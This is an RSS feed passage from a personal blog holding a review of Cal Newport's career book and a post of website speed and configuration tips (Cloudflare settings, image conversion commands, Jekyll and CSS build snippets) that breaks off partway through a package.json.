<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
     xmlns:atom="http://www.w3.org/2005/Atom"
     xmlns:media="http://search.yahoo.com/mrss/">
  <channel>
    <title>Diaries of a Modern Ninja</title>
    <description>Nima&apos;s Diaries about Cybersecurity, Red Teaming, Tooling, Tutorials, and Personal Notes — Practical Guides, Walkthroughs, and Resources for Curious Minds.</description>
    <link>https://nima.ninja</link>
    <atom:link href="https://nima.ninja/feed.xml" rel="self" type="application/rss+xml"/>
    <pubDate>Thu, 18 Dec 2025 21:14:02 -0500</pubDate>
    <lastBuildDate>Thu, 18 Dec 2025 21:14:02 -0500</lastBuildDate>
    <generator>Jekyll v4.4.1</generator>
    <image>
      <url>https://nima.ninja/assets/ninja.png</url>
      <title>Diaries of a Modern Ninja</title>
      <link>https://nima.ninja</link>
    </image>

    
      <item>
        <title>So Good They Can&apos;t Ignore You: Why Skills Trump Passion in the Quest for Work You Love</title>

        <description>
          <![CDATA[
            
              <p><img src="https://nima.ninja/books/assets/2025/so-good-they-cant-ignore-you-book.jpg" alt="So Good They Can&#39;t Ignore You: Why Skills Trump Passion in the Quest for Work You Love" /></p>
            

            <p>
  <br />
</p>

<p>
  <br />
</p>

<h2 id="amazon-description">Amazon Description</h2>

<hr />

<p>In this eye-opening account, Cal Newport debunks the long-held belief that “follow your passion” is good advice.  Not only is the cliché flawed-preexisting passions are rare and have little to do with how most people end up loving their work-but it can also be dangerous, leading to anxiety and chronic job hopping.</p>

<p>After making his case against passion, Newport sets out on a quest to discover the reality of how people end up loving what they do. Spending time with organic farmers, venture capitalists, screenwriters, freelance computer programmers, and others who admitted to deriving great satisfaction from their work, Newport uncovers the strategies they used and the pitfalls they avoided in developing their compelling careers.</p>

<p>Matching your job to a preexisting passion does not matter, he reveals. Passion comes after you put in the hard work to become excellent at something valuable, not before.
In other words, what you do for a living is much less important than how you do it.</p>

<p>With a title taken from the comedian Steve Martin, who once said his advice for aspiring entertainers was to “be so good they can’t ignore you,” Cal Newport’s clearly written manifesto is mandatory reading for anyone fretting about what to do with their life, or frustrated by their current job situation and eager to find a fresh new way to take control of their livelihood. He provides an evidence-based blueprint for creating work you love.</p>

<p>SO GOOD THEY CAN’T IGNORE YOU will change the way we think about our careers, happiness, and the crafting of a remarkable life.</p>

<p>
  <br />
</p>

<h2 id="editorial-reviews">Editorial Reviews</h2>

<hr />

<p>
  <br />
</p>

<h3 id="review">Review</h3>

<p>“Stop worrying about what you feel like doing (and what the world owes you) and instead, start creating something meaningful and then give it to the world. Cal really delivers with this one.”</p>

<p>–<strong>Seth Godin, author, Linchpin</strong></p>

<p>“Entrepreneurial professionals must develop a competitive advantage by building valuable skills. This book offers advice based on research and reality–not meaningless platitudes– on how to invest in yourself in order to stand out from the crowd. An important guide to starting up a remarkable career.”</p>

<p>–<strong>Reid Hoffman, co-founder &amp; chairman of LinkedIn and co-author of the bestselling The Start-Up of You: Adapt to the Future, Invest in Yourself, and Transform Your Career</strong></p>

<p>“Do what you love and the money will follow’ sounds like great advice – until it’s time to get a job and disillusionment quickly sets in. Cal Newport ably demonstrates how the quest for ‘passion’ can corrode job satisfaction. If all he accomplished with this book was to turn conventional wisdom on its head, that would be interesting enough. But he goes further – offering advice and examples that will help you bypass the disillusionment and get right to work building skills that matter.”</p>

<p>–<strong>Daniel H. Pink, bestselling author of Drive and A Whole New Mind</strong></p>

<p>“This book changed my mind. It has moved me from ‘find your passion, so that you can be useful’ to ‘be useful so that you can find your passion.’ That is a big flip, but it’s more honest, and that is why I am giving each of my three young adult children a copy of this unorthodox guide.”</p>

<p>–<strong>Kevin Kelly, Senior Maverick, WIRED magazine</strong></p>

<p>“First book in years I read twice, to make sure I got it. Brilliant counter-intuitive career insights. Powerful new ideas that have already changed the way I think of my own career, and the advice I give others.”</p>

<p>–<strong>Derek Sivers, founder, CD Baby</strong></p>

<p>“Written in an optimistic and accessible tone, with clear logic and no-nonsense advice, this work is useful reading for anyone new to the job market and striving to find a path or for those who have been struggling to find meaning in their current careers.”</p>

<p>–<strong>Publishers Weekly</strong></p>

<p>
  <br />
</p>

<h2 id="book-details">Book Details</h2>

<hr />

<p>Author: Cal Newport</p>

<p>Category: Career Advancement &amp; Professional Development, Job Hunting (Books), Success Self-Help</p>

<p>Publisher: Grand Central Publishing (September 18, 2012)</p>

<p>Paperback: 304 pages</p>

<p>
  <br />
</p>

<h2 id="my-comment">My Comment</h2>

<hr />

<p>Not as strong as Cal Newport’s <a href="https://nima.ninja/books/2021/deep-work-rules-for-focused-success-in-a-distracted-world">Deep Work</a>, this book lacks solid evidence for some of its claims, and certain conclusions are drawn from only a small number of people he studied. Nevertheless, it still contains valuable insights that can be life-changing, especially if read at a younger age. Overall, it remains an important and worthwhile read.</p>

<p>
  <br />
</p>

<h2 id="references">
  <em>References</em>
</h2>
<hr />


          ]]>
        </description>

        <pubDate>Fri, 26 Sep 2025 00:00:00 -0500</pubDate>
        <link>https://nima.ninja/books/2025/so-good-they-cant-ignore-you-why-skills-trump-passion-in-the-quest-for-work-you-love</link>
        <guid isPermaLink="true">https://nima.ninja/books/2025/so-good-they-cant-ignore-you-why-skills-trump-passion-in-the-quest-for-work-you-love</guid>

        
          <media:content url="https://nima.ninja/books/assets/2025/so-good-they-cant-ignore-you-book.jpg" medium="image" />
        

        
          <category>books</category>
        
        
          <category>Personal Transformation</category>
        
          <category>Performance Improvement</category>
        
          <category>Psychology</category>
        
          <category>Personal Success</category>
        
          <category>Business Decision-Making</category>
        
      </item>
    
      <item>
        <title>Quick tips for a better website</title>

        <description>
          <![CDATA[
            
              <p><img src="https://nima.ninja/blog/assets/2025/website-boost.png" alt="Quick tips for a better website" /></p>
            

            <p>
  <br />
</p>

<p>
<br /></p>

<p>These are some tips to improve your website, examples are for Jekyll as my website is based on it but the main tips are technology agnostic.</p>

<p>
  <br />
</p>

<!--TOC-->

<p>
  <br />
</p>

<h2 id="1-use-cloudflare">1) Use Cloudflare</h2>

<ul>
  <li>
    <h3 id="enable-all-useful-page-speed-and-performance-options-in-cloudflare-panel">Enable all useful page speed and performance options in Cloudflare panel</h3>

    <p>Speed -&gt; Settings: (In the Site Recommendations section): Enable/Disable according to the picture:</p>

    <p><br /></p>
    <img src="https://nima.ninja/blog/assets/2025/website-boost-cloudflare.png" width="1059" height="1136" alt="Site Recommendations section in Cloudflare web panel" />
    <p><br /></p>

    <p>Enable: HTTP/2, HTTP/3, HTTP/2 to Origin, Always use HTTPS, TLS 1.3, Early Hints</p>

    <p>Disable: All the rest, including 0-RTT Connection Resumption (this option can speed up the connection but it also makes it less secure by providing grounds for replay attacks so we disable it).</p>
  </li>
</ul>

<p>
  <br />
</p>

<ul>
  <li>
    <h3 id="less-noticed-but-still-very-important-enable-tls-12-in-addition-to-tls-13">Less noticed but still very important: Enable TLS 1.2 in addition to TLS 1.3</h3>

    <p>I was able to retrieve my website feeds again in Newsflow and some other RSS feeds clients after enabling TLS 1.2 again, these clients don’t show any errors but still don’t load your feeds if you enable only TLS 1.3.</p>

    <p>Use this setting in Cloudflare, SSL/TLS -&gt; Edge Certificates:</p>

    <p>Minimum TLS version: TLS 1.2</p>

    <p><br /></p>
    <img src="https://nima.ninja/blog/assets/2025/website-boost-cloudflare2.png" width="1034" height="196" alt="Minimum TLS version setting in Cloudflare web panel" />
    <p><br /></p>

    <blockquote>
      <p>How I found it was TLS issue? I used RSS Validator for checking the validity of my website RSS feed after some changes and it returned TLS error, so I got suspicious that it might be due to only TLS 1.3 being enabled and I tested after enabling TLS 1.2 and voila! My RSS feed clients started working again!</p>
    </blockquote>
  </li>
</ul>

<p>
  <br />
</p>

<ul>
  <li>
    <h3 id="use-cloudflares-email-address-obfuscation">Use Cloudflare’s Email Address Obfuscation</h3>

    <p>Use it for your email address but use it only on one Contact page:</p>

    <p>Remove email address from website footer and only use it in a Contact page to limit the overhead of Cloudflare JS used for email address obfuscation to only one page.</p>

    <blockquote>
      <p>A more solid solution is to use a local JS for email address obfuscation, the local solution can be more complicated but still suffers from lack of randomization. The Cloudflare email obfuscation solution is good enough, enable it if you haven’t already.</p>
    </blockquote>

    <p>To enable Cloudflare email obfuscation:</p>

    <p>Scrape Shield -&gt; Email Address Obfuscation</p>

    <p>While there you can also enable Hotlink Protection.</p>

    <p><br /></p>
    <img src="https://nima.ninja/blog/assets/2025/website-boost-cloudflare3.png" width="1031" height="542" alt="Scrape Shield settings in Cloudflare web panel" />
    <p><br /></p>
  </li>
</ul>

<p>There are many more Cloudflare features that can help us run a more fast, optimized and secure website. I may write a post in the future dedicated to the most useful Cloudflare settings for websites.</p>

<p>
  <br />
</p>

<h2 id="2-reduce-cumulative-layout-shiftcls">2) Reduce Cumulative Layout Shift(CLS)</h2>

<ul>
  <li>
    <h3 id="use-hardcoded-width-and-height-for-img-and-video-tags">Use hardcoded width and height for <code class="language-plaintext highlighter-rouge">img</code> and <code class="language-plaintext highlighter-rouge">video</code> tags</h3>
  </li>
  <li>
    <h3 id="use-a-css-class-to-still-support-responsive-after-previous-tip">Use a CSS class to still support responsive after previous tip</h3>

    <p>This is the way I handle it in my Jekyll website, in <code class="language-plaintext highlighter-rouge">base.scss</code> file:</p>

    <div class="language-css highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">//</span> <span class="nt">Fix</span> <span class="nt">Layout</span> <span class="nt">Shift</span> <span class="nt">issue</span><span class="o">(</span><span class="nt">combined</span> <span class="nt">with</span> <span class="nt">adding</span> <span class="nt">width</span> <span class="nt">and</span> <span class="nt">height</span> <span class="nt">to</span> <span class="nt">html</span> <span class="nt">img</span> <span class="nt">and</span> <span class="nt">video</span> <span class="nt">tags</span><span class="o">)</span>
<span class="nt">img</span><span class="o">,</span> <span class="nt">video</span> <span class="p">{</span>
  <span class="nl">max-width</span><span class="p">:</span> <span class="m">100%</span><span class="p">;</span>  <span class="c">/* makes it responsive */</span>
  <span class="nl">height</span><span class="p">:</span> <span class="nb">auto</span><span class="p">;</span>     <span class="c">/* keeps aspect ratio */</span>
  <span class="nl">display</span><span class="p">:</span> <span class="nb">block</span><span class="p">;</span>   <span class="c">/* avoids inline spacing issues */</span>
<span class="p">}</span>

<span class="nt">img</span><span class="nc">.no-responsive</span><span class="o">,</span> <span class="nt">video</span><span class="nc">.no-responsive</span> <span class="p">{</span>
  <span class="nl">max-width</span><span class="p">:</span> <span class="nb">none</span><span class="p">;</span>
  <span class="nl">height</span><span class="p">:</span> <span class="nb">auto</span><span class="p">;</span>
  <span class="nl">display</span><span class="p">:</span> <span class="nb">inline</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div>    </div>
  </li>
</ul>

<p><br />
<br /></p>

<h2 id="3-reduce-largest-contentful-paintlcp">3) Reduce Largest Contentful Paint(LCP)</h2>

<ul>
  <li>
    <h3 id="use-more-modern-media-formats">Use more modern media formats</h3>
    <p>Use <code class="language-plaintext highlighter-rouge">AVIF</code>,<code class="language-plaintext highlighter-rouge">WebP</code> image formats instead of <code class="language-plaintext highlighter-rouge">PNG</code> or <code class="language-plaintext highlighter-rouge">JPG</code> and <code class="language-plaintext highlighter-rouge">MP4</code>,<code class="language-plaintext highlighter-rouge">WebM</code> video formats instead of heavy <code class="language-plaintext highlighter-rouge">GIF</code> files to significantly improve load speed and decrease file sizes.</p>

    <p>You can use FFmpeg, cwebp and ImageMagick to convert <code class="language-plaintext highlighter-rouge">PNG</code>/<code class="language-plaintext highlighter-rouge">JPG</code> to more modern and web-friendly <code class="language-plaintext highlighter-rouge">AVIF</code>/<code class="language-plaintext highlighter-rouge">WebP</code> formats.</p>

    <p>You can also use FFmpeg to resize <code class="language-plaintext highlighter-rouge">MP4</code> files or convert them to <code class="language-plaintext highlighter-rouge">WebM</code> format.</p>

    <p>Here is some example commands I use for image conversion that I’ve found to return desirable results for me in most cases:</p>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># for images</span>
<span class="c">## mainly used</span>
<span class="c">### convert png/jpg to webp/avif:</span>
cwebp <span class="nt">-q</span> 90 <span class="nt">-near_lossless</span> 95 <span class="nt">-m</span> 6 test.png <span class="nt">-o</span> test.webp
magick test.png <span class="nt">-quality</span> 80 test.avif
<span class="c">### resize png/jpg, keep aspect ratio(example: use 130x for width: 130, use x130 for height: 130 ):</span>
magick why-we-sleep-book.jpg <span class="nt">-resize</span> 130x why-we-sleep-book-thumb.jpg

<span class="c">## some other variations that had good results for me</span>
ffmpeg <span class="nt">-i</span> test.png <span class="nt">-c</span>:v libaom-av1 <span class="nt">-crf</span> 20 <span class="nt">-b</span>:v 0 test.avif
ffmpeg <span class="nt">-i</span> test.png <span class="nt">-q</span>:v 80 test.webp
ffmpeg <span class="nt">-i</span> test.png <span class="nt">-c</span>:v libaom-av1 <span class="nt">-crf</span> 30 <span class="nt">-b</span>:v 0 test.avif

<span class="c"># for videos</span>
<span class="c">## resize video files</span>
ffmpeg <span class="nt">-i</span> test.mp4 <span class="nt">-vf</span> <span class="nv">scale</span><span class="o">=</span>256:256 test_resized.mp4
ffmpeg <span class="nt">-i</span> test.mp4 <span class="nt">-vf</span> <span class="nv">scale</span><span class="o">=</span>308:462 <span class="nt">-c</span>:v libx264 <span class="nt">-crf</span> 32 <span class="nt">-preset</span> veryslow <span class="nt">-an</span> test_resized.mp4

<span class="c">## convert to webm</span>
ffmpeg <span class="nt">-i</span> test.mp4 <span class="nt">-c</span>:v libaom-av1 <span class="nt">-crf</span> 40 <span class="nt">-b</span>:v 0 <span class="nt">-an</span> test.webm

ffmpeg <span class="nt">-i</span> test.mp4 <span class="nt">-c</span>:v libaom-av1 <span class="nt">-crf</span> 30 <span class="nt">-b</span>:v 0 <span class="nt">-pass</span> 1 <span class="nt">-an</span> <span class="nt">-f</span> null <span class="nt">-y</span> /dev/null
ffmpeg <span class="nt">-i</span> test.mp4 <span class="nt">-c</span>:v libaom-av1 <span class="nt">-crf</span> 30 <span class="nt">-b</span>:v 0 <span class="nt">-pass</span> 2 <span class="nt">-an</span> test.webm
</code></pre></div>    </div>

    <p>In the case of <code class="language-plaintext highlighter-rouge">AVIF</code> and <code class="language-plaintext highlighter-rouge">WebP</code> use, 96-97% of viewers are supported, for those with older legacy browsers or devices, fallback to original <code class="language-plaintext highlighter-rouge">PNG</code> or <code class="language-plaintext highlighter-rouge">JPG</code> formats.</p>

    <p>I’ve written a Ruby plugin for my website to do just that and added more arguments for more control. It’s open-sourced, you can see my whole website in GitHub.</p>
  </li>
</ul>

<p>
  <br />
</p>

<ul>
  <li>
    <h3 id="use-fetchpriorityhigh">Use <code class="language-plaintext highlighter-rouge">fetchpriority="high"</code></h3>
    <p>Use it for your largest contentful paint (LCP) image or video that is <strong>immediately visible</strong> above the fold.</p>
  </li>
</ul>

<p>
  <br />
</p>

<ul>
  <li>
    <h3 id="use-loading-attribute-for-img-tag">Use <code class="language-plaintext highlighter-rouge">loading</code> attribute for <code class="language-plaintext highlighter-rouge">img</code> tag</h3>

    <p><strong><code class="language-plaintext highlighter-rouge">loading="lazy"</code></strong>: Great for images <strong>below the fold</strong>, but <strong>never on your LCP image</strong> (causes delays).</p>

    <blockquote>
      <p>Rule of thumb:</p>
      <ul>
        <li><strong>Above the fold: <code class="language-plaintext highlighter-rouge">loading="eager"</code> (or omit, since eager is default).</strong></li>
        <li><strong>Below the fold: <code class="language-plaintext highlighter-rouge">loading="lazy"</code>.</strong></li>
      </ul>
    </blockquote>
  </li>
</ul>

<p>
  <br />
</p>

<ul>
  <li>
    <h3 id="use-decodingasync-for-secondary-images">Use <code class="language-plaintext highlighter-rouge">decoding="async"</code> for secondary images</h3>

    <p>Usually improves main-thread responsiveness.</p>

    <p>For the LCP image, async decoding can slightly delay the first paint.</p>

    <p>Minimal risk overall, safe for secondary images.</p>
  </li>
</ul>

<p>
  <br />
</p>

<ul>
  <li>
    <h3 id="preload-lcp-image-via-link-relpreload">Preload LCP image via <code class="language-plaintext highlighter-rouge">&lt;link rel="preload"&gt;</code></h3>

    <p>Jekyll Example: This is how I use <code class="language-plaintext highlighter-rouge">Preload</code> for my hero poster images(hero images that are loaded before video content is fully downloaded) in the <code class="language-plaintext highlighter-rouge">head.html</code> file of my Jekyll website:</p>

    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code>{% if page.hero-poster %}<span class="nt">&lt;link</span> <span class="na">rel=</span><span class="s">"preload"</span> <span class="na">as=</span><span class="s">"image"</span> <span class="na">href=</span><span class="s">"{{ page.hero-poster }}"</span> <span class="na">fetchpriority=</span><span class="s">"high"</span><span class="nt">&gt;</span>{% endif %}
</code></pre></div>    </div>

    <p>and use <code class="language-plaintext highlighter-rouge">hero-poster</code> variable in the frontmatter and body of the pages that I want to use hero poster image on:</p>

    <div class="language-markdown highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nn">---</span>
<span class="na">layout</span><span class="pi">:</span> <span class="s">page</span>
<span class="na">title</span><span class="pi">:</span> <span class="s">Blog</span>
<span class="na">image</span><span class="pi">:</span> <span class="s">/blog/assets/robot1.png</span>
<span class="na">description</span><span class="pi">:</span> <span class="s2">"</span><span class="s">Here</span><span class="nv"> </span><span class="s">I</span><span class="nv"> </span><span class="s">talk</span><span class="nv"> </span><span class="s">about</span><span class="nv"> </span><span class="s">anything,</span><span class="nv"> </span><span class="s">mostly</span><span class="nv"> </span><span class="s">technical</span><span class="nv"> </span><span class="s">topics."</span>
<span class="na">hero-poster</span><span class="pi">:</span> <span class="s">/blog/assets/robot1.avif</span>
<span class="nn">---</span>

<span class="nt">&lt;video</span> <span class="na">autoplay</span> <span class="na">muted</span> <span class="na">loop</span> <span class="na">playsinline</span> <span class="na">width=</span><span class="s">"308"</span> <span class="na">height=</span><span class="s">"462"</span> <span class="na">poster=</span><span class="s">"{{ page.hero-poster }}"</span><span class="nt">&gt;</span>
  <span class="nt">&lt;source</span> <span class="na">src=</span><span class="s">"/blog/assets/robot1.webm"</span> <span class="na">type=</span><span class="s">"video/webm"</span><span class="nt">&gt;</span>
  <span class="nt">&lt;source</span> <span class="na">src=</span><span class="s">"/blog/assets/robot1.mp4"</span> <span class="na">type=</span><span class="s">"video/mp4"</span><span class="nt">&gt;</span>
<span class="nt">&lt;/video&gt;</span>
</code></pre></div>    </div>

    <p><br /></p>
  </li>
  <li>
    <h3 id="rule-of-thumb-for-safe-optimization"><strong>Rule of thumb for safe optimization</strong></h3>

    <p><strong>LCP/hero image: preload + fetchpriority=”high” + eager (no async).</strong></p>

    <p><strong>Other above-the-fold: optional async decoding, no lazy.</strong></p>

    <p><strong>Below-the-fold: lazy + async decoding.</strong></p>

    <p><strong>Don’t mark too many resources as high priority.</strong></p>

    <p><strong>Keep image sizes reasonable.</strong></p>
  </li>
</ul>

<p>
  <br />
</p>

<ul>
  <li>
    <h3 id="use-explicit-width--height-for-images">Use explicit <code class="language-plaintext highlighter-rouge">width</code> &amp; <code class="language-plaintext highlighter-rouge">height</code> for images</h3>

    <p>we already did that for reducing Cumulative Layout Shift in tip number 2.</p>
  </li>
</ul>

<p><br />
<br /></p>

<h2 id="4-optimize-css">4) Optimize CSS</h2>

<ul>
  <li>
    <h3 id="compress-the-css-file-and-disable-source-maps">Compress the CSS file and disable source maps</h3>

    <p>Example: in a Jekyll website, in  <code class="language-plaintext highlighter-rouge">_config.yaml</code>:</p>

    <div class="language-yml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">sass</span><span class="pi">:</span>
  <span class="na">style</span><span class="pi">:</span> <span class="s">compressed</span>
  <span class="na">sourcemap</span><span class="pi">:</span> <span class="s">never</span>
</code></pre></div>    </div>

    <p><code class="language-plaintext highlighter-rouge">style: compressed</code>: minifies your CSS (removes whitespace, comments, etc.).</p>

    <p><code class="language-plaintext highlighter-rouge">sourcemap: never</code>: stops Jekyll from generating <code class="language-plaintext highlighter-rouge">main.css.map</code> and removes the reference.</p>

    <p>Result:</p>

    <ul>
      <li>
        <p>You’ll only get a small, minified <code class="language-plaintext highlighter-rouge">main.css</code>.</p>
      </li>
      <li>
        <p>No <code class="language-plaintext highlighter-rouge">.map</code> file.</p>
      </li>
      <li>
        <p>Leanest possible setup for GitHub Pages.</p>
      </li>
      <li>
        <p>The result is a <strong>tiny, production-ready <code class="language-plaintext highlighter-rouge">main.css</code></strong> that PageSpeed Insights sees as fully optimized.</p>
      </li>
    </ul>
  </li>
</ul>

<p>
  <br />
</p>

<ul>
  <li>
    <h3 id="use-purgecss-post-build-to-remove-css-codes-that-are-not-used">Use PurgeCSS post-build to remove CSS codes that are not used</h3>

    <p>If you build your website locally, create a workflow to run <code class="language-plaintext highlighter-rouge">PurgeCSS</code> after your website build to remove unused parts of your CSS file.</p>
  </li>
</ul>

<p>
  <br />
</p>

<ul>
  <li>
    <h3 id="inline-critical-css">Inline critical CSS</h3>

    <p>Use a tool like Critical CSS, Penthouse, Critters or Crittr to extract critical parts of CSS that are used for above the fold content of each of your important HTML pages and inline those parts of CSS for faster page loads. Use nonce for inline styles.</p>
  </li>
</ul>

<p><br />
<br /></p>

<h2 id="5-minify-js-scripts">5) Minify JS scripts</h2>

<p>Minify inline and external JS scripts with a tool like Terser. Also use nonce for inline scripts.</p>

<p><br />
<br /></p>

<h2 id="6-some-other-tips">6) Some other tips</h2>

<ul>
  <li>
    <h3 id="load-resources-locally">Load resources locally</h3>

    <p>If you use some website profile badges on your website (like the TryHackMe and HackTheBox badges on my website footer), it’s better to download the image and serve it from your own website resources instead of direct requests for them.
So that you can optimize these pictures and use smaller and more modern image formats and also prevent additional requests and cookies of third party services you send requests to.</p>

    <p>Another benefit is you don’t need to add additional CSP rules for external resources of your website.</p>

    <p>Example: I’ve added an option in my <code class="language-plaintext highlighter-rouge">_config.yml</code> file that gives me the option to choose to serve those pictures locally or from upstream servers:</p>

    <div class="language-yml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">badges</span><span class="pi">:</span>
  <span class="na">hackthebox</span><span class="pi">:</span> <span class="s2">"</span><span class="s">768488"</span>
  <span class="na">selfhost_hackthebox</span><span class="pi">:</span> <span class="kc">true</span>
  <span class="na">tryhackme</span><span class="pi">:</span> <span class="s2">"</span><span class="s">nima"</span>
  <span class="na">selfhost_tryhackme</span><span class="pi">:</span> <span class="kc">true</span>
</code></pre></div>    </div>

    <p>also in <code class="language-plaintext highlighter-rouge">footer.html</code>:</p>

    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  {% if site.badges.hackthebox %}
    <span class="nt">&lt;li</span> <span class="na">class=</span><span class="s">"social-media-list"</span><span class="nt">&gt;</span>
      {% if site.badges.selfhost_hackthebox %}
        <span class="c">&lt;!-- local HTB badge --&gt;</span>
        <span class="nt">&lt;a</span> <span class="na">title=</span><span class="s">"Hack The Box Profile"</span> <span class="na">href=</span><span class="s">"https://app.hackthebox.com/profile/{{ site.badges.hackthebox }}"</span><span class="nt">&gt;</span>
          {% smart_image "/assets/{{ site.badges.hackthebox }}.png" 220 50 "Hack The Box Profile" lazy "" avif async "no-responsive" %}
        <span class="nt">&lt;/a&gt;</span>
      {% else %}
        <span class="c">&lt;!-- upstream HTB badge --&gt;</span>
        <span class="nt">&lt;a</span> <span class="na">title=</span><span class="s">"Hack The Box Profile"</span> <span class="na">href=</span><span class="s">"https://app.hackthebox.com/profile/{{ site.badges.hackthebox }}"</span><span class="nt">&gt;</span>
          <span class="nt">&lt;img</span> <span class="na">src=</span><span class="s">"https://www.hackthebox.eu/badge/image/{{ site.badges.hackthebox }}"</span> <span class="na">width=</span><span class="s">"220"</span> <span class="na">height=</span><span class="s">"50"</span> <span class="na">loading=</span><span class="s">"lazy"</span> <span class="na">decoding=</span><span class="s">"async"</span> <span class="na">alt=</span><span class="s">"Hack The Box"</span> <span class="na">class=</span><span class="s">"no-responsive"</span><span class="nt">&gt;</span>
        <span class="nt">&lt;/a&gt;</span>
      {% endif %}
    <span class="nt">&lt;/li&gt;</span>
  {% endif %}

  {% if site.badges.tryhackme %}
    <span class="nt">&lt;li</span> <span class="na">class=</span><span class="s">"social-media-list"</span><span class="nt">&gt;</span>
      {% if site.badges.selfhost_tryhackme %}
        <span class="c">&lt;!-- local TryHackMe badge --&gt;</span>
        <span class="nt">&lt;a</span> <span class="na">title=</span><span class="s">"TryHackMe Profile"</span> <span class="na">href=</span><span class="s">"https://tryhackme.com/p/{{ site.badges.tryhackme }}"</span><span class="nt">&gt;</span>
          {% smart_image "/assets/{{ site.badges.tryhackme }}.png" 329 88 "TryHackMe Profile" lazy "" avif async "no-responsive" %}
        <span class="nt">&lt;/a&gt;</span>
      {% else %}
        <span class="c">&lt;!-- upstream TryHackMe badge --&gt;</span>
        <span class="nt">&lt;a</span> <span class="na">title=</span><span class="s">"TryHackMe Profile"</span> <span class="na">href=</span><span class="s">"https://tryhackme.com/p/{{ site.badges.tryhackme }}"</span><span class="nt">&gt;</span>
          <span class="nt">&lt;img</span> <span class="na">src=</span><span class="s">"https://tryhackme-badges.s3.amazonaws.com/{{ site.badges.tryhackme }}.png"</span> <span class="na">width=</span><span class="s">"329"</span> <span class="na">height=</span><span class="s">"88"</span> <span class="na">loading=</span><span class="s">"lazy"</span> <span class="na">decoding=</span><span class="s">"async"</span> <span class="na">alt=</span><span class="s">"TryHackMe Profile"</span> <span class="na">class=</span><span class="s">"no-responsive"</span><span class="nt">&gt;</span>
        <span class="nt">&lt;/a&gt;</span>
      {% endif %}
    <span class="nt">&lt;/li&gt;</span>
  {% endif %}
</code></pre></div>    </div>
  </li>
</ul>

<p>
  <br />
</p>

<ul>
  <li>
    <h3 id="create-clean-workflows-for-website-build-and-publish">Create clean workflows for website build and publish</h3>
    <p>You can have two branches, one for website build and another for publish.</p>

    <p>Example: I use <code class="language-plaintext highlighter-rouge">main</code> branch for build and <code class="language-plaintext highlighter-rouge">gh-pages</code> for publish.</p>

    <p>Here is my local build pipeline for <code class="language-plaintext highlighter-rouge">main</code> branch , fully automated:</p>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>npm run build
</code></pre></div>    </div>

    <p>here’s the code for <code class="language-plaintext highlighter-rouge">package.json</code>:</p>

    <div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"nima.ninja"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"version"</span><span class="p">:</span><span class="w"> </span><span class="s2">"1.0.0"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"module"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"scripts"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="nl">"update:badges"</span><span class="p">:</span><span class="w"> </span><span class="s2">"node build/update-badges.js"</span><span class="p">,</span><span class="w">

    </span><span class="nl">"build:jekyll:1"</span><span class="p">:</span><span class="w"> </span><span class="s2">"bundle exec jekyll build"</span><span class="p">,</span><span class="w">

    </span><span class="nl">"postcss"</span><span class="p">:</span><span class="w"> </span><span class="s2">"postcss </span><span class="se">\"</span><span class="s2">_site/css/main.css</span><span class="se">\"</span><span class="s2"> -o </span><span class="se">\"</span><span class="s2">_site/css/main.css</span><span class="se">\"</span><span class="s2">"</span><span class="p">,</span><span class="w">

    </span><span class="nl">"copy:minified-css"</span><span class="p">:</span><span class="w"> </span><span class="s2">"node build/copy-file.js </span><span class="se">\"</span><span class="s2">_site/css/main.css</span><span class="se">\"</span><span class="s2"> </span><span class="se">\"</span><span class="s2">src/css/temp.main.css</span><span class="se">\"</span><span class="s2">"</span><span class="p">,</span><span class="w">

    </span><span class="nl">"postcss:critical"</span><span class="p">:</span><span class="w"> </span><span class="s2">"postcss </span><span class="se">\"</span><span class="s2">_site/css/main.css</span><span class="se">\"</span><span class="s2"> -o </span><span class="se">\"</span><span class="s2">_site/css/main-critical.css</span><span class="se">\"</span><span class="s2"> --env critical"</span><span class="p">,</span><span class="w">

    </span><span class="nl">"critical:home:mobile"</span><span class="p">:</span><span class="w"> </span><span class="s2">"critical _site/index.html --base=_site --css=_site/css/main-critical.css --width=412 --height=667 &gt; src/_includes/critical-home-mobile.css || echo 'Skipped home mobile critical'"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"critical:home:tablet"</span><span class="p">:</span><span class="w"> </span><span class="s2">"critical _site/index.html --base=_site --css=_site/css/main-critical.css --width=768 --height=800 &gt; src/_includes/critical-home-tablet.css || echo 'Skipped home tablet critical'"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"critical:home:desktop"</span><span class="p">:</span><span class="w"> </span><span class="s2">"critical _site/index.html --base=_site --css=_site/css/main-critical.css --width=1440 --height=800 &gt; src/_includes/critical-home-desktop.css || echo 'Skipped home desktop critical'"</span><span class="p">,</span><span class="w">

    </span><span class="nl">"critical:post:mobile"</span><span class="p">:</span><span class="w"> </span><span class="s2">"critical _site/blog/2025/quick-tips-for-a-better-website.html --base=_site --css=_site/css/main-critical.css --width=412 --height=667 &gt; src/_includes/critical-post-mobile.css || echo 'Skipped post mobile critical'"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"critical:post:tablet"</span><span class="p">:</span><span class="w"> </span><span class="s2">"critical _site/blog/2025/quick-tips-for-a-better-website.html --base=_site --css=_site/css/main-critical.css --width=768 --height=800 &gt; src/_includes/critical-post-tablet.css || echo 'Skipped post tablet critical'"</span><span class="p">,</span><span class="w">
